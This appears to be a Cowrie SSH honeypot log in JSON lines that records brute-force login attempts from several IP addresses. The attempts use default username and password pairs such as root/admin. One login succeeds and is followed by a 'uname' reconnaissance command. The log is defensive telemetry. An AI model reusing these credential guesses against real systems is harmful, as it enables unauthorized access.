{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:39.465828Z","src_ip":"185.242.3.195","session":"7e7a3a820ef0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:39.556207Z","src_ip":"185.242.3.195","session":"7e7a3a820ef0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qweASD","message":"login attempt [ubuntu/123qweASD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:39.829243Z","src_ip":"185.242.3.195","session":"7e7a3a820ef0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:40.922353Z","src_ip":"185.242.3.195","session":"7e7a3a820ef0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36694,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd5a84dbd1fa","protocol":"ssh","message":"New connection: 45.156.87.253:36694 (10.17.0.5:22) [session: bd5a84dbd1fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:41.179538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:41.183910Z","src_ip":"45.156.87.253","session":"bd5a84dbd1fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:41.265307Z","src_ip":"45.156.87.253","session":"bd5a84dbd1fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:41.514014Z","src_ip":"45.156.87.253","session":"bd5a84dbd1fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:42.699787Z","src_ip":"45.156.87.253","session":"bd5a84dbd1fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36706,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4f52be460dd","protocol":"ssh","message":"New connection: 45.156.87.253:36706 (10.17.0.5:22) [session: f4f52be460dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:44.550092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:44.554708Z","src_ip":"45.156.87.253","session":"f4f52be460dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:44.635739Z","src_ip":"45.156.87.253","session":"f4f52be460dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.190.244.176","src_port":52820,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f91eb10dd9b","protocol":"ssh","message":"New connection: 189.190.244.176:52820 (10.17.0.5:22) [session: 1f91eb10dd9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:44.775191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:44.779108Z","src_ip":"189.190.244.176","session":"1f91eb10dd9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:44.853667Z","src_ip":"189.190.244.176","session":"1f91eb10dd9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:44.878001Z","src_ip":"45.156.87.253","session":"f4f52be460dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"user2000","message":"login attempt [root/user2000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:45.184888Z","src_ip":"189.190.244.176","session":"1f91eb10dd9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:45.965544Z","src_ip":"45.156.87.253","session":"f4f52be460dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:46.260261Z","src_ip":"189.190.244.176","session":"1f91eb10dd9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36718,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4775a21a4d2","protocol":"ssh","message":"New connection: 45.156.87.253:36718 (10.17.0.5:22) [session: b4775a21a4d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:48.070992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:48.074714Z","src_ip":"45.156.87.253","session":"b4775a21a4d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:48.157290Z","src_ip":"45.156.87.253","session":"b4775a21a4d2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:48.405760Z","src_ip":"45.156.87.253","session":"b4775a21a4d2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:48.610523Z","src_ip":"45.156.87.253","session":"b4775a21a4d2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:48.612869Z","src_ip":"45.156.87.253","session":"b4775a21a4d2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:48.697821Z","src_ip":"45.156.87.253","session":"b4775a21a4d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:48.701795Z","src_ip":"45.156.87.253","session":"b4775a21a4d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":41658,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a24e62bf493","protocol":"ssh","message":"New connection: 45.156.87.253:41658 (10.17.0.5:22) [session: 8a24e62bf493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:51.439662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:51.443003Z","src_ip":"45.156.87.253","session":"8a24e62bf493","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:51.525035Z","src_ip":"45.156.87.253","session":"8a24e62bf493","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:51.769228Z","src_ip":"45.156.87.253","session":"8a24e62bf493","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:52.910025Z","src_ip":"45.156.87.253","session":"8a24e62bf493","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":41660,"dst_ip":"10.17.0.5","dst_port":22,"session":"21b5bf3c1f3c","protocol":"ssh","message":"New connection: 45.156.87.253:41660 (10.17.0.5:22) [session: 21b5bf3c1f3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:54.730701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:54.735335Z","src_ip":"45.156.87.253","session":"21b5bf3c1f3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:54.815238Z","src_ip":"45.156.87.253","session":"21b5bf3c1f3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123","message":"login attempt [runner/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:55.082090Z","src_ip":"45.156.87.253","session":"21b5bf3c1f3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:56.165128Z","src_ip":"45.156.87.253","session":"21b5bf3c1f3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":41674,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef6f4d5d8d8f","protocol":"ssh","message":"New connection: 45.156.87.253:41674 (10.17.0.5:22) [session: ef6f4d5d8d8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:58.194920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:58.197853Z","src_ip":"45.156.87.253","session":"ef6f4d5d8d8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:58.277613Z","src_ip":"45.156.87.253","session":"ef6f4d5d8d8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"1234","message":"login attempt [sam/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:58.521684Z","src_ip":"45.156.87.253","session":"ef6f4d5d8d8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:59.604951Z","src_ip":"45.156.87.253","session":"ef6f4d5d8d8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":46008,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fab0f6f6c43","protocol":"ssh","message":"New connection: 45.156.87.253:46008 (10.17.0.5:22) [session: 9fab0f6f6c43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:01.512436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:01.519401Z","src_ip":"45.156.87.253","session":"9fab0f6f6c43","protocol":"ssh"}
